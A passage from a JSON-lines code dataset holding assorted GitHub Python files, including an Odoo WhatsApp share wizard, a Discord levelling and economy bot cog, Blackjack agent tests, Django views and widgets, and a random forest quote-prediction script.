tuple(lista)\r\nprint(krotka)","repo_name":"Szyszuniec/100-zada-","sub_path":"zadanie 4.py","file_name":"zadanie 4.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40533905737","text":"import urllib.parse as urllib\n\nfrom odoo import models, fields, api\n\n\nclass PortalShare(models.TransientModel):\n _inherit = 'portal.share'\n\n share_type = fields.Selection([\n ('mail', 'Mail'),\n ('whatsapp', 'Whatsapp')], string=\"Sharing Method\", default=\"mail\")\n mobile_number = fields.Char()\n partner_id = fields.Many2one('res.partner', string='Customer')\n\n @api.onchange('partner_id')\n def _onchange_partner_id(self):\n self.mobile_number = self.partner_id.mobile\n\n def action_send_whatsapp(self):\n \"\"\"\"\"\"\n \"\"\"In this function we are redirecting to the whatsapp web\n with required parameters\"\"\"\n if self.note and self.mobile_number:\n if self.res_model == 'sale.order':\n common_message = 'You have been invited to access the following Sale Order.'\n elif self.res_model == 'account.move':\n common_message = 'You have been invited to access the following Invoice.'\n elif self.res_model == 'purchase.order':\n common_message = 'You have been invited to access the following Purchase.'\n else:\n common_message = 'You have been invited to access the following Document.'\n message_string = self.note + '%0a' + common_message + '%0a' + urllib.quote(self.share_link)\n related_record = self.env[self.res_model].search([('id', '=', int(self.res_id))])\n related_record.message_post(body=message_string)\n return {\n 'type': 'ir.actions.act_url',\n 'url': \"https://api.whatsapp.com/send?phone=\" + self.mobile_number + \"&text=\" + message_string,\n 'target': 'new',\n 'res_id': self.id,\n }\n\n\n\n","repo_name":"CybroOdoo/CybroAddons","sub_path":"whatsapp_mail_messaging/wizard/portal_share.py","file_name":"portal_share.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","stars":204,"dataset":"github-code","pt":"52"} +{"seq_id":"27547188476","text":"import tensorlayerx as tlx\nimport numpy as np\n\nfrom gammagl.layers.conv import HPNConv\n\n\ndef test_hpn_conv():\n x_dict = {\n 'author': tlx.random_normal((6, 16), dtype = tlx.float32),\n 'paper': tlx.random_normal((5, 12), dtype = tlx.float32)\n }\n edge1 = tlx.convert_to_tensor([[2, 0, 2, 5, 1, 2, 4], [5, 5, 4, 2, 5, 2, 3]])\n edge2 = tlx.convert_to_tensor([[1, 0, 2, 3], [4, 2, 1, 0]])\n edge_index_dict = {\n ('author', 'metapath0', 'author'): edge1,\n ('paper', 'metapath1', 'paper'): edge2,\n }\n num_nodes_dict = {\n 'author': 6,\n 'paper': 5\n }\n metadata = (list(x_dict.keys()), list(edge_index_dict.keys()))\n in_channels = {'author': 16, 'paper': 12}\n\n conv = HPNConv(in_channels, 16, metadata, 1)\n out_dict1 = conv(x_dict, edge_index_dict, num_nodes_dict)\n assert len(out_dict1) == 2\n assert tlx.get_tensor_shape(out_dict1['author']) == [6, 16]\n assert tlx.get_tensor_shape(out_dict1['paper']) == [5, 16]","repo_name":"BUPT-GAMMA/GammaGL","sub_path":"tests/layers/conv/test_hpn_conv.py","file_name":"test_hpn_conv.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":157,"dataset":"github-code","pt":"52"} +{"seq_id":"9809538211","text":"import json\n\nfrom django.forms.widgets import Textarea\n\n\nclass PrettyJSONWidget(Textarea):\n def format_value(self, value):\n try:\n value = json.dumps(json.loads(value), indent=4, sort_keys=True)\n row_lengths = [len(r) for r in value.split('\\n')]\n self.attrs['rows'] = min(max(len(row_lengths) + 4, 10), 30)\n self.attrs['cols'] = min(max(max(row_lengths) + 4, 40), 120)\n return value\n except Exception:\n return super(PrettyJSONWidget, self).format_value(value)\n","repo_name":"Amsterdam/signals","sub_path":"app/signals/apps/questionnaires/forms/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"52"} +{"seq_id":"36082383446","text":"#!/usr/bin/python3\n\n\"\"\"\nRuns detection with a Region Proposal Network, and does the pairing necessary\nfor plotting performance curves.\n\nSee curve_plotter.py and detection_parser.py\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nfrom os import path\n\nimport detection_parser\n\ndef main():\n args = parseArguments()\n\n clonedEnv = os.environ.copy()\n clonedEnv[\"GLOG_minloglevel\"] = \"2\"\n ret = subprocess.run([\n args.dldemo_exe,\n args.dldemo_cmd,\n args.model,\n args.annotations,\n args.tempfile,\n str(args.min_height),\n str(args.max_height),\n str(args.confidence_threshold),\n str(args.count),\n \"0\"\n ],env=clonedEnv)\n\n assert not ret.returncode, ret\n\n detection_parser.run(\n annotationListFile=args.annotations,\n annotationType=args.annotation_type,\n detectionListFile=args.tempfile,\n detectionType=args.detection_type,\n outDir=args.outdir,\n modelName=path.dirname(args.model).split(os.sep)[-1],\n datasetName=path.splitext(path.basename(args.annotations))[0],\n iouThreshold=args.iou_threshold,\n count=args.count,\n prefix=args.prefix,\n maskOutliers=args.mask_outliers,\n delimiter=args.delimiter\n )\n\ndef parseArguments():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--model\", help=\"model description file\", required=True)\n parser.add_argument(\"--annotations\", help=\"list file with test examples\", required=True)\n\n parser.add_argument(\"--annotation_type\", choices=[\"head\",\"body\"], default=\"head\")\n parser.add_argument(\"--tempfile\", default=\"/tmp/head_detector_benchmark_temp.csv\", help=\"where to write immediate detections with confidences\")\n parser.add_argument(\"--detection_type\", choices=[\"head\",\"body\"], default=\"head\")\n parser.add_argument(\"--outdir\", default=\"~/detector_benchmark_result\")\n parser.add_argument(\"--prefix\")\n parser.add_argument(\"--confidence_threshold\", default=0.01, type=float, help=\"for detection, should be as low as feasible\")\n parser.add_argument(\"--iou_threshold\", default=0.5, type=float, help=\"for matching detections to annotations\")\n parser.add_argument(\"--count\", default=1, type=int, help=\"input image count\")\n parser.add_argument(\"--mask_outliers\", action=\"store_true\", help=\"exclude upper outlying objects\")\n parser.add_argument(\"--dldemo_exe\", default=\"/home/bjenei/dldemo\")\n parser.add_argument(\"--dldemo_cmd\", default=\"rpndet\")\n parser.add_argument(\"--min_height\", default=1, type=int)\n parser.add_argument(\"--max_height\", default=1000, type=int)\n parser.add_argument(\"--delimiter\",default=\"\\t\")\n\n return parser.parse_args()\n\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jben-hun/scripts","sub_path":"detector_evaluation_legacy/head_detector_evaluator.py","file_name":"head_detector_evaluator.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"18321526645","text":"\nimport numpy as np\nimport copy\n\nimport re\nimport pandas as pd\nimport copy\nimport time as timee\nfrom contextlib import contextmanager\n\n\nfrom scipy import stats\nimport networkx as nx\nfrom collections import defaultdict\n\n\n@contextmanager\ndef timer(title):\n t0 = timee.time()\n yield\n print(\"{} - done in {:.0f}s\".format(title, timee.time() - t0))\n\n\ndef normalize(mx: np.ndarray): # 归一化\n shape = mx.shape\n\n for k in range(mx.shape[-1]):\n mx[:, k] = (mx[:, k]-np.mean(mx[:, k]))/np.std(mx[:, k])\n\n return mx\n\n\ndef behavior_feature_extract():\n train_ids = np.load(\n '/home/m21_huangzijun/pythonprojs/sichuan/data_after/mymodel5_2/train_ids.npy')\n test_ids = np.load(\n '/home/m21_huangzijun/pythonprojs/sichuan/data_after/mymodel5_2/test_ids.npy')\n\n ids = np.concatenate([train_ids, test_ids])\n\n user = pd.read_csv(\n '/home/m21_huangzijun/pythonprojs/sichuan/data/0527/train/train_user.csv')\n voc = pd.read_csv(\n '/home/m21_huangzijun/pythonprojs/sichuan/data/0527/train/train_voc.csv')\n\n voc['start_datetime'] = pd.to_datetime(voc['start_datetime'])\n voc['hour'] = voc['start_datetime'].dt.hour\n\n # 平均通话时长\n voc['mean_dur'] = voc.groupby('phone_no_m')[\n 'call_dur'].transform(np.nanmean)\n # 通话时长方差\n voc['var_dur'] = voc.groupby('phone_no_m')[\n 'call_dur'].transform(np.nanvar)\n # 精力分散度\n voc['sum_call_times'] = voc.groupby(\n ['phone_no_m'])['phone_no_m'].transform('count')\n voc['every_one_calltimes'] = voc.groupby(['phone_no_m', 'opposite_no_m'])['phone_no_m'].transform(\n 'count')\n voc['energy_dispersion'] = voc['every_one_calltimes'] / voc['sum_call_times']\n del voc['sum_call_times']\n del voc['every_one_calltimes']\n\n net = nx.Graph()\n net.add_nodes_from(ids)\n for row in voc.to_dict(orient='records'):\n calltype_id = row['calltype_id']\n source = row['phone_no_m']\n target = row['opposite_no_m']\n if calltype_id == 1:\n net.add_edge(source, target, weight=1)\n\n elif calltype_id == 2:\n net.add_edge(source, target, weight=-1)\n\n # 联系人重复率无法计算\n\n users_voc = [g for _, g in voc.groupby('phone_no_m')]\n\n person_feature = dict()\n\n tmp_ids = set(ids.copy())\n for user_voc in users_voc:\n id = user_voc['phone_no_m'].iloc[0]\n\n # 入度/出度\n indegree = 0\n outdegree = 0\n for k, v in net[id].items():\n if v['weight'] == 1:\n outdegree += 1\n elif v['weight'] == -1:\n indegree += 1\n # 邻居平均度\n neighbor_degree = list()\n for neigh in net.neighbors(id):\n neighbor_degree.append(net.degree(id))\n neighbor_degree = np.mean(neighbor_degree)\n\n # 聚类系数\n coefficient = nx.clustering(net, id)\n\n # 通话时间分布\n time_dis = [0 for i in range(24)]\n for time, count in user_voc['hour'].value_counts(normalize=True).to_dict().items():\n time_dis[time] = count\n\n # 平均通话时长\n mean_dur = user_voc['mean_dur'].iloc[0]\n # 通话时长方差\n var_dur = user_voc['var_dur'].iloc[0]\n # 能量分布\n ed = user_voc['energy_dispersion'].iloc[0]\n\n person_feature[id] = [indegree, outdegree,\n neighbor_degree, coefficient, mean_dur, var_dur, ed]+time_dis\n tmp_ids.remove(id)\n\n for id in list(tmp_ids):\n person_feature[id] = [0 for i in range(31)]\n\n person_feature_inorder = []\n for id in ids:\n person_feature_inorder.append(person_feature[id])\n\n person_feature_inorder = np.array(person_feature_inorder).astype(np.float)\n person_feature_inorder = normalize(person_feature_inorder)\n person_feature_inorder = np.nan_to_num(person_feature_inorder)\n np.save('/home/m21_huangzijun/pythonprojs/sichuan/data_after/static_feature/static_feature.npy',\n person_feature_inorder)\n\n\ndef test():\n arr1 = np.load(\n '/home/m21_huangzijun/pythonprojs/sichuan/data_after/static_feature/static_feature.npy')\n print(arr1.shape)\n\n\nif __name__ == \"__main__\":\n test()\n","repo_name":"researchonbigdata/DPGFD","sub_path":"data_process/dataprocess_static.py","file_name":"dataprocess_static.py","file_ext":"py","file_size_in_byte":4228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31945879164","text":"from game import BlackjackGame, BlackjackPlayer\r\nfrom agents import QLearningAgent, ExpectimaxAgent\r\nimport pprint\r\n\r\nclass TestGame:\r\n def __init__(self, game = BlackjackGame(), numberTests=100):\r\n super().__init__()\r\n self.game = game\r\n self.number_of_tests = numberTests\r\n self.result_table = dict()\r\n for i in range(-2,1):\r\n self.result_table[i] = 0\r\n i += 1\r\n\r\n def fullTest(self):\r\n self.game.addAgent( ExpectimaxAgent(BlackjackPlayer.id) )\r\n self.result_table[1] = 0\r\n self.game.addAgent( QLearningAgent(BlackjackPlayer.id) )\r\n self.result_table[2] = 0\r\n self.doTests()\r\n\r\n def testExpectimax(self):\r\n self.game.addAgent( ExpectimaxAgent(BlackjackPlayer.id) )\r\n self.result_table[1] = 0\r\n self.doTests()\r\n\r\n def testQLearn(self):\r\n self.game.addAgent( QLearningAgent(BlackjackPlayer.id) )\r\n self.result_table[1] = 0\r\n self.doTests()\r\n #pprint.pprint(self.game.table[1].ai.qValues)\r\n\r\n def doTests(self):\r\n for i in range(self.number_of_tests):\r\n result = self.game.beginNewGame()\r\n self.result_table[result] += 1\r\n\r\n print(self.result_table.keys())\r\n for player in self.result_table.keys():\r\n self.readPercentage(player)\r\n\r\n def readPercentage(self, player):\r\n wins = self.result_table[player]\r\n decimal = wins / self.number_of_tests\r\n ai = self.game.table[player].ai\r\n if player == 0:\r\n print(\"Dealer won %d%% of games.\" % (decimal*100))\r\n elif player == -2:\r\n print(\"Players busted, reaching a draw in %0.4f%% of games.\" % (decimal*100))\r\n elif player == -1:\r\n print(\"Players reached a draw in %0.4f%% of games.\" % (decimal*100))\r\n elif player == None:\r\n print(\"Error?3!223## Test won %0.4f%% of games.\\n\" % (decimal*100))\r\n elif isinstance(ai, ExpectimaxAgent):\r\n print(\"Player %d (Expectimax) won %0.4f%% of games.\" % (player, decimal*100))\r\n elif isinstance(ai, QLearningAgent):\r\n print(\"Player %d (Q-Learner) won %0.4f%% of games.\" % (player, decimal*100))\r\n\r\ndef main():\r\n test = TestGame(numberTests=1000)\r\n inp = input(\"Perform which test?\\n\\t1. Full test\\n\\t2. Test Expectimax agent\\n\\t3. Test Q-Learning agent\\nTest: \")\r\n\r\n if inp is \"1\":\r\n test.fullTest()\r\n elif inp is \"2\":\r\n test.testExpectimax()\r\n elif inp is \"3\":\r\n test.testQLearn()\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"neutralboolean/Blackjack-Two-Agents","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41952652092","text":"import argparse\r\nimport pandas as pd\r\n\r\n\r\nparser = argparse.ArgumentParser(description='Black Jack Log Selector Sample')\r\nparser.add_argument('--in_file', type=str, default='play_log.csv', help='input filename (raw play log)')\r\nparser.add_argument('--out_file', type=str, default='selected_log.csv', help='output filename')\r\nargs = parser.parse_args()\r\n\r\n# ログファイルを読み込む\r\ndf = pd.read_csv(args.in_file)\r\n\r\n# あくまで例として,\r\n# 「プレイヤーステータス(result)が'lose', 'bust', 'surrendered'の何れでもでない」または「プレイヤーステータス(result)が'surrendered'であり,かつ行動前スコア(score)が15以上17以下」\r\n# を満たすものだけを抽出する場合.以下のように記述する\r\nselected_log = df[ ~(df['result'].isin(['lose', 'bust', 'surrendered'])) | ((df['result'] == 'surrendered') & (15 <= df['score']) & (df['score'] <= 17)) ]\r\n\r\n# 抽出結果をファイルに保存\r\nselected_log.to_csv(args.out_file, index=False)\r\n","repo_name":"knakamura1982/EAIE_nakamura","sub_path":"BlackJack/log_selector.py","file_name":"log_selector.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14326591592","text":"import nextcord\nfrom nextcord import *\nfrom nextcord.ui import Button, button, View\nfrom dotenv import load_dotenv\nimport os\nfrom requests import post, get, patch, delete\nimport string\nfrom nextcord.ext import application_checks\nimport threading\nfrom PIL import ImageColor\nfrom datauri import DataURI\nfrom time import perf_counter\nfrom uuid import uuid4\nfrom nextcord.ext.commands import Bot\nfrom nextcord.ext import commands\nimport nextcord.utils\nimport nextcord\nimport pymongo\nimport random\nimport requests\nimport json\nimport nextcord\nimport asyncio\nload_dotenv()\nfp = open(\"cogs/CONF\", \"r\").read()\nconf = json.loads(fp)\nmongodb = pymongo.MongoClient(os.getenv(\"MONGODB\"))\ndb = mongodb.starlight\nclass listeners(commands.Cog):\n def __init__(self, client) -> None:\n self.client = client\n @commands.Cog.listener(\"on_message\")\n async def on_message1(self,message):\n if message.author.bot:\n return\n if not message.guild:\n return\n res = db.currency.find_one({})\n currency = res['string']\n sleeps = db.levels_sleep.find_one({\"member\": message.author.id, \"guild\": message.guild.id})\n if sleeps:\n return\n result = db.levels.find_one({\"member\": message.author.id, \"guild\": message.guild.id})\n if not result:\n return\n level = result['level']\n exp = result['exp']\n new_exp = exp+25\n lvl_end = int(new_exp/100)\n if level < lvl_end:\n level = lvl_end\n db.levels.update_one({\"member\": message.author.id, \"guild\": message.guild.id}, {\"$set\": {\"level\": level, \"exp\": 25}})\n for doc in db.levels_reward.find({\"guild\": message.guild.id}):\n if level >= doc['level']:\n role = message.guild.get_role(doc['role'])\n await message.author.add_roles(role)\n res = db.config.find_one({\"value\": \"levels\", \"guild\": message.guild.id})\n chan = self.client.get_channel(res['channel'])\n bal = 0\n for i in range(0, level):\n bal += 50\n requests.patch(f\"https://unbelievaboat.com/api/v1/guilds/{message.guild.id}/users/{message.author.id}\", headers={\"Authorization\":os.getenv(\"UNVB\"), \"Content-Type\": \"application/json\", \"accept\": \"application/json\"}, json={\"bank\": bal})\n await chan.send(content=message.author.mention, embed=nextcord.Embed(title=f\"Level up!\", description=f\"Congratulations {message.author.mention}!~ You have leveled up to level {level}! :3\", color=0xdea5a4).add_field(name=\"You have also earned\", value=f\"**{bal} {currency} from leveling up!! Keep up the good work!**\", inline=True))\n return\n db.levels.update_one({\"member\": message.author.id, \"guild\": message.guild.id}, {\"$inc\": {\"exp\": 25}})\n @commands.Cog.listener(\"on_message\")\n async def on_message2(self, message):\n if message.author.bot:\n return\n if db.levels.find_one({\"member\": message.author.id, \"guild\": message.guild.id}):\n return\n db.levels.insert_one({\"member\": message.author.id, \"guild\": message.guild.id, \"level\": 1, \"exp\": 0})\n db.answered.insert_one({\"member\": message.author.id, \"guild\": message.guild.id, \"answers\": 0})\n return\n @commands.Cog.listener(\"on_message\")\n async def on_message3(self, message):\n \n if message.author.bot:\n return\n if not message.guild:\n return\n res = db.config.find_one({\"value\": \"aotd\", \"guild\": message.guild.id})\n if message.channel.id == res['channel']:\n db = mongodb.starlight\n col = db.currency\n result = col.find_one({})\n currency = result['string']\n col = db.answered_users\n result = col.find_one({\"member\": message.author.id, \"guild\": message.guild.id})\n if result:\n return\n randint = random.randrange(15, 30)\n col = db.levels\n new_exp = 100\n r = requests.patch(f\"https://unbelievaboat.com/api/v1/guilds/{message.guild.id}/users/{message.author.id}\", headers={\"Authorization\":os.getenv(\"UNVB\"), \"Content-Type\": \"application/json\", \"accept\": \"application/json\"}, json={\"bank\": randint})\n balance = json.loads(r.text)\n col.update_one({\"member\": message.author.id, \"guild\": message.guild.id}, {\"$inc\": {\"exp\": new_exp}})\n col = db.answered\n col.update_one({\"member\": message.author.id, \"guild\": message.guild.id}, {\"$inc\": {\"answers\": 1}})\n col = db.answered_users\n col.insert_one({\"member\": message.author.id, \"guild\": message.guild.id})\n msg = await message.reply(embed=nextcord.Embed(title=f\"{message.author.name}#{message.author.discriminator}\", description=f\"Thank you for answering the question of the day cutie! **You have earned {randint} {currency} for answering!**\", color=0xdea5a4).add_field(name=\"Your balance is now\", value=f\"**{balance['bank']} {currency}**\"))\n await asyncio.sleep(85000)\n await msg.delete()\n col.delete_many({\"member\": message.author.id, \"guild\": message.guild.id})\n @commands.Cog.listener(\"on_reaction_add\")\n async def on_reaction_add(self, reaction, user):\n if user.bot:\n return\n res = db.config.find_one({\"value\": \"royalty\", \"guild\": reaction.message.guild.id})\n mods = db.config.find_one({\"value\": \"mods\", \"guild\": reaction.message.guild.id})\n if reaction.message.channel.id == res['channel']:\n chan = self.client.get_channel(mods['channel'])\n stri = \"\"\n if reaction.emoji == \"👸\":\n stri = \"princess\"\n if reaction.emoji == \"🤴\":\n stri = \"prince\"\n if reaction.emoji == \"👑\":\n stri = \"king\"\n if reaction.emoji == \"🌹\":\n stri = \"queen\"\n if reaction.emoji == \"🔥\":\n stri = \"themperor\"\n if reaction.emoji == \"🤹\":\n stri = \"jester\"\n db.reactions.update_one({\"member\": reaction.message.author.id, \"guild\": reaction.message.guild.id}, {\"$inc\":{stri:1}})\n result = db.reactions.find_one({\"member\": reaction.message.author.id, \"guild\": reaction.message.guild.id})\n embed = Embed(description=f\"**REACTIONS FOR {reaction.message.author.display_name} ({reaction.message.author.name}#{reaction.message.author.discriminator})**\\r\\n**Princess:** {result['princess']}\\r\\n**Prince:** {result['prince']}\\r\\n**King:** {result['king']}\\r\\n**Queen:** {result['queen']}\\r\\n**Themperor:** {result['themperor']}\\r\\n**Jester:** {result['jester']}\", color=0xdea5a4).set_footer(text=f\"Royalty User ID: {result['ruid']}\")\n await chan.send(embed=embed)\n @commands.Cog.listener(\"on_message\")\n async def on_message4(self, message):\n if message.author.bot:\n return\n res = db.config.find_one({\"value\": \"royalty\", \"guild\": message.guild.id})\n if message.channel.id == res['channel']:\n if message.attachments:\n reactions = [\"👸\", \"🤴\", \"👑\", \"🌹\", \"🔥\", \"🤹\"]\n for reaction in reactions:\n await message.add_reaction(reaction)\n if db.reactions.find_one({\"member\": message.author.id}):\n db.reactions.delete_many({\"member\": message.author.id, \"guild\": message.guild.id})\n db.reactions.insert_one({\"member\": message.author.id,\"guild\": message.guild.id,\"message_id\": message.id, \"princess\": 0, \"prince\": 0, \"king\": 0, \"queen\": 0, \"themperor\": 0, \"jester\": 0, \"ruid\": str(uuid4())})\n @commands.Cog.listener(\"on_reaction_remove\")\n async def on_reaction_remove(self, reaction, user):\n if user.bot:\n return\n res = db.config.find_one({\"value\": \"royalty\", \"guild\": reaction.message.guild.id})\n mods = db.config.find_one({\"value\": \"mods\", \"guild\": reaction.message.guild.id})\n if reaction.message.channel.id == res['channel']:\n chan = self.client.get_channel(mods['channel'])\n stri = \"\"\n if reaction.emoji == \"👸\":\n stri = \"princess\"\n if reaction.emoji == \"🤴\":\n stri = \"prince\"\n if reaction.emoji == \"👑\":\n stri = \"king\"\n if reaction.emoji == \"🌹\":\n stri = \"queen\"\n if reaction.emoji == \"🔥\":\n stri = \"themperor\"\n if reaction.emoji == \"🤹\":\n stri = \"jester\"\n db.reactions.update_one({\"member\": reaction.message.author.id, \"guild\": reaction.message.guild.id}, {\"$inc\":{stri:-1}})\n result = db.reactions.find_one({\"member\": reaction.message.author.id, \"guild\": reaction.message.guild.id})\n embed = Embed(description=f\"**REACTIONS FOR {reaction.message.author.display_name} ({reaction.message.author.name}#{reaction.message.author.discriminator})**\\r\\n**Princess:** {result['princess']}\\r\\n**Prince:** {result['prince']}\\r\\n**King:** {result['king']}\\r\\n**Queen:** {result['queen']}\\r\\n**Themperor:** {result['themperor']}\\r\\n**Jester:** {result['jester']}\", color=0xdea5a4).set_footer(text=f\"Royalty User ID: {result['ruid']}\")\n await chan.send(embed=embed)\n @commands.Cog.listener(\"on_message\")\n async def on_message5(self, message):\n channels = db.config.find_one({\"guild\": message.guild.id, \"value\": \"selfies\"})\n if message.channel.id in channels['channels']:\n if message.attachments:\n reactions = [\"🤩\", \"😍\", \"😅\", \"🥰\", \"💗\", \"💞\", \"💕\", \"❣️\", \"💖\", \"💝\", \"❤️\", \"🧡\", \"💛\", \"💚\", \"💙\", \"💜\", \"🤍\", \"🖤\", \"😘\", \"🤎\"]\n rand_react = random.choices(reactions, k=3)\n print (rand_react)\n await message.add_reaction(rand_react[0])\n await message.add_reaction(rand_react[1])\n await message.add_reaction(rand_react[2])\n @commands.Cog.listener(\"on_message\")\n async def on_message6(self, message):\n res = db.config.find_one({\"guild\": message.guild.id, \"value\": \"flash\"})\n if message.channel.id != res['channel']:\n return\n if message.attachments:\n await asyncio.sleep(300)\n await message.delete()\n @commands.Cog.listener(\"on_message\")\n async def on_message7(self, message):\n if message.author.bot:\n return\n db = mongodb.starlight\n col = db.message_store\n result = col.count_documents({})\n if result < random.randrange(20, 30):\n col.insert_one({\"torf\": True})\n return\n res = db.config.find_one({\"guild\": message.guild.id, \"value\": \"pick\"})\n chan = self.client.get_channel(res['channel'])\n col = db.currency\n result = col.find_one({\"guild_id\": f\"{message.guild.id}\"})\n currency = result['currency']\n col = db.pick_sleep\n if col.find_one({}):\n return\n col = db.balance\n x = 0\n members = []\n messages = []\n if message.channel.id != chan.id:\n return\n print (members)\n def check(m):\n return m.channel.id == message.channel.id and m.content.lower() == \".pick\" and m.author.id not in members\n messa = await chan.send(embed=nextcord.Embed(description=f\"***Someone dropped a handful of {currency}!*** ***Type ``.pick`` in order to pick them up!***\", color=0xffb6c1))\n db.pick_sleep.insert_one({\"torf\": True})\n start_time = perf_counter()\n while True:\n try:\n mess = await self.client.wait_for('message', check=check, timeout=60.0)\n if mess:\n end_time = perf_counter()\n real_time = end_time - start_time\n\n result = col.find_one({\"member_id\": f\"{mess.author.id}\"})\n balance = 0\n await mess.delete()\n members.append(mess.author.id)\n i = random.randrange(100, 300)\n balance += i\n result = db.picktime.find_one({\"member_id\": mess.author.id, \"guild\": message.guild.id})\n if not result:\n db.picktime.insert_one({\"member_id\": mess.author.id, \"guild\": message.guild.id, \"time\": real_time})\n elif real_time < result['time']:\n db.picktime.update_one({\"member_id\": mess.author.id, \"guild\": message.guild.id}, {\"$set\": {\"time\": real_time}})\n requests.patch(f\"https://unbelievaboat.com/api/v1/guilds/{message.guild.id}/users/{message.author.id}\", headers={\"Authorization\":os.getenv(\"UNVB\"), \"Content-Type\": \"application/json\", \"accept\": \"application/json\"}, json={\"bank\": balance})\n messag = await message.channel.send(embed=nextcord.Embed(description=f\"***{mess.author.mention} has picked up {i} {currency}!\\r\\nYour total pick time was {real_time:.2f} seconds!!***\",color=0xffb6c1))\n messages.append(messag.id)\n except TimeoutError as e:\n print (e)\n for message_id in messages:\n message_id_over = await message.channel.fetch_message(message_id)\n await message_id_over.delete()\n await messa.delete()\n col = db.pick_sleep\n await asyncio.sleep(300)\n col.delete_one({})\n col = db.message_store\n col.delete_many({\"torf\": True})\n \ndef setup(client):\n client.add_cog(listeners(client))","repo_name":"0xsint/Starlette","sub_path":"cogs/listeners.py","file_name":"listeners.py","file_ext":"py","file_size_in_byte":14693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16987036473","text":"from django.core.urlresolvers import reverse\nfrom django.db import transaction\nfrom django.http import HttpResponseRedirect\nfrom django.views.generic import TemplateView\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom website.apps.email_manager.models import Email\nfrom website.middleware import HttpRedirectException\nfrom website.mixins import LoginRequiredMixin\nfrom website.notification import set_notification, ALERT_DANGER, ALERT_SUCCESS\n\n\nclass EditView(LoginRequiredMixin, TemplateView):\n template_name = \"email_manager/edit.html\"\n\n def get(self, request, *args, **kwargs):\n email_id = kwargs[\"email_id\"]\n\n if email_id == \"new\":\n return super(EditView, self).get(request, *args, **kwargs)\n\n try:\n return super(EditView, self).get(request, *args, **kwargs)\n except ObjectDoesNotExist:\n set_notification(request, \"email_id of \" + email_id + \" does not exist.\", ALERT_DANGER)\n\n raise HttpRedirectException(\n reverse(\"email_manager.browse\"),\n \"email_id of \" + email_id + \" does not exist.\"\n )\n\n def get_context_data(self, **kwargs):\n context = super(EditView, self).get_context_data(**kwargs)\n\n email_id = kwargs[\"email_id\"]\n\n if email_id == \"new\":\n email = None\n else:\n email = Email.objects.get(id=email_id)\n\n context[\"email\"] = email\n\n return context\n\n @transaction.atomic\n def post(self, request, email_id):\n name = request.POST.get(\"name\", None)\n\n if not name:\n set_notification(request, \"Name is required\", ALERT_DANGER)\n\n raise HttpRedirectException(reverse(\"email_manager.edit\", email_id), \"Name is required\")\n\n if email_id == \"new\":\n email = Email.objects.create(name=name, created_by_id=1)\n email_id = email.id\n set_notification(request, \"Created email \\\"\" + email.name + \"\\\"\", ALERT_SUCCESS)\n else:\n email = Email.objects.get(id=email_id)\n email.name = name\n email.save()\n set_notification(request, \"Successfully updated email\", ALERT_SUCCESS)\n\n return HttpResponseRedirect(\n reverse(\"email_manager.edit\", kwargs={\"email_id\": email_id})\n )\n","repo_name":"Macainian/BaseDjangoProject","sub_path":"website/apps/email_manager/views/class_based/EditView.py","file_name":"EditView.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40415443694","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.metrics import mean_absolute_error, mean_squared_error, r2_score\nfrom sklearn.preprocessing import LabelEncoder\nimport pickle\n\n# Load and preprocess the data\ndf = pd.read_csv('myFile0.csv')\n\njob_title_le = LabelEncoder()\ncar_use_le = LabelEncoder()\npostcode_le = LabelEncoder()\n\ndf['job_title'] = job_title_le.fit_transform(df['job_title'])\ndf['car_use'] = car_use_le.fit_transform(df['car_use'])\ndf['postcode'] = postcode_le.fit_transform(df['postcode'])\ndf['previous_claims'] = df['previous_claims'].map({'yes': 1, 'no': 0})\n\n# Define features and target variable\nX = df[['job_title', 'car_use', 'total_miles', 'previous_claims', 'postcode', 'credit_score']]\ny = df['cheapest_quote']\n\n# Train/test split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)\n\n# Define parameter grid\nparam_grid = {\n 'n_estimators': np.linspace(10, 200).astype(int),\n 'max_depth': [None] + list(np.linspace(3, 20).astype(int)),\n 'max_features': ['auto', 'sqrt', None] + list(np.arange(0.5, 1, 0.1)),\n 'max_leaf_nodes': [None] + list(np.linspace(10, 50, 500).astype(int)),\n 'min_samples_split': [2, 5, 10],\n 'bootstrap': [True, False]\n}\n\n# Define model\nestimator = RandomForestRegressor(random_state=42)\n\n# Define search\nrf_random = RandomizedSearchCV(estimator, param_grid, cv=5, n_jobs=-1)\n\n# Fit model\nrf_random.fit(X_train, y_train)\n\n# Predict\ny_pred = rf_random.predict(X_test)\n\n# Print the best parameters\nprint(\"Best Parameters: \", rf_random.best_params_)\n\n# Print the feature importance\nimportances = rf_random.best_estimator_.feature_importances_\nfor feature, importance in zip(X.columns, importances):\n print(f\"Feature: {feature}, Importance: {importance}\")\n\n# Print model evaluation metrics\nprint(\"MAE: \", mean_absolute_error(y_test, y_pred))\nprint(\"MSE: \", 